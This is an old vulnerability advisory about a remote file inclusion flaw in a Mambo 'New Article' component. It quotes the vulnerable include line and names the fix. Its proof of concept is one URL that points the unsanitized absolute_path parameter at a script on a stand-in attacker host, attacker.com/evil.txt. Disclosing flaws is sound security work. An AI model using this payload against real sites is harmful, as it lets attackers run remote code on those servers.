------------------------------------------------------------------------
---------

New Article Mambo Component <= 1.0 (com_articles.php) Remote File Include Vulnerabilities

------------------------------------------------------------------------
---------

Author : Ahmad Maulana a.k.a Matdhule

Date : July 17th 2006

Location : Indonesia, Jakarta

Critical Lvl : Highly critical

Impact : System access

Where : From Remote

------------------------------------------------------------------------
---------

Affected software description:

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Application : New Article Component (com_articles.php)

Version : 1.0

------------------------------------------------------------------------
---------

Vulnerability:

~~~~~~~~~~~~~~~

In folder components we found vulnerability script com_articles.php.

-----------------------com_articles.php---------------------------------

<?php

include($absolute_path.'/language/'.$lang.'/lang_articles.php');

require("classes/html/com_articles.php");

$articles = new articles();

Variables $absolute_path are not properly sanitized. When register_globals=on

and allow_fopenurl=on an attacker can exploit this vulnerability with a

simple php injection script.

Proof Of Concept:

~~~~~~~~~~~~~~~~

http://[target]/[path]/components/com_articles.php?absolute_path=http://
attacker.com/evil.txt?

------------------------------------------------------------------------
---------

Solution:

~~~~~~~~

sanitize variabel $absolute_path.

------------------------------------------------------------------------

---

Shoutz:

~~~~~~

~ solpot a.k.a chris, J4mbi H4ck3r for the hacking lesson :)

~ y3dips,the_day,moby,comex,z3r0byt3,c-a-s-e,S`to,lirva32,anonymous

~ bius, lapets, ghoz, t4mbun_hacker, NpR, h4ntu, thama

~ newbie_hacker (at) yahoogroups (dot) com [email concealed], jasakom_perjuangan (at) yahoogroups (dot) com [email concealed]

~ #mardongan #jambihackerlink #e-c-h-o @irc.dal.net

------------------------------------------------------------------------

---

Contact:

~~~~~~~

matdhule[at]gmail[dot]com

-------------------------------- [ EOF ]----------------------------------

[ reply ]